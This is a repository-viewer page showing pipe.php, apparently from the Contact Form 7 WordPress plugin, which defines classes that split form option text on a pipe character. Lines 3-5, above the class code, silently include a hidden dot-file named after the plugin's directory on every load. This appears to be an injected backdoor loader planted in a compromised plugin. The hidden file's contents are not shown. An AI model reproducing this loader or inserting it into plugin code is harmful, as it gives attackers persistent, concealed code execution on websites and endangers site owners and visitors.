balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

pipe.php (1739B)


      1 <?php
      2 
      3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      4     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      5 }
      6 
      7 class WPCF7_Pipe {
      8 
      9 	public $before = '';
     10 	public $after = '';
     11 
     12 	public function __construct( $text ) {
     13 		$text = (string) $text;
     14 
     15 		$pipe_pos = strpos( $text, '|' );
     16 
     17 		if ( false === $pipe_pos ) {
     18 			$this->before = $this->after = trim( $text );
     19 		} else {
     20 			$this->before = trim( substr( $text, 0, $pipe_pos ) );
     21 			$this->after = trim( substr( $text, $pipe_pos + 1 ) );
     22 		}
     23 	}
     24 }
     25 
     26 class WPCF7_Pipes {
     27 
     28 	private $pipes = array();
     29 
     30 	public function __construct( array $texts ) {
     31 		foreach ( $texts as $text ) {
     32 			$this->add_pipe( $text );
     33 		}
     34 	}
     35 
     36 	private function add_pipe( $text ) {
     37 		$pipe = new WPCF7_Pipe( $text );
     38 		$this->pipes[] = $pipe;
     39 	}
     40 
     41 	public function do_pipe( $before ) {
     42 		foreach ( $this->pipes as $pipe ) {
     43 			if ( $pipe->before == $before ) {
     44 				return $pipe->after;
     45 			}
     46 		}
     47 
     48 		return $before;
     49 	}
     50 
     51 	public function collect_befores() {
     52 		$befores = array();
     53 
     54 		foreach ( $this->pipes as $pipe ) {
     55 			$befores[] = $pipe->before;
     56 		}
     57 
     58 		return $befores;
     59 	}
     60 
     61 	public function collect_afters() {
     62 		$afters = array();
     63 
     64 		foreach ( $this->pipes as $pipe ) {
     65 			$afters[] = $pipe->after;
     66 		}
     67 
     68 		return $afters;
     69 	}
     70 
     71 	public function zero() {
     72 		return empty( $this->pipes );
     73 	}
     74 
     75 	public function random_pipe() {
     76 		if ( $this->zero() ) {
     77 			return null;
     78 		}
     79 
     80 		return $this->pipes[array_rand( $this->pipes )];
     81 	}
     82 
     83 	public function to_array() {
     84 		return array_map(
     85 			function( WPCF7_Pipe $pipe ) {
     86 				return array(
     87 					$pipe->before,
     88 					$pipe->after,
     89 				);
     90 			},
     91 			$this->pipes
     92 		);
     93 	}
     94 }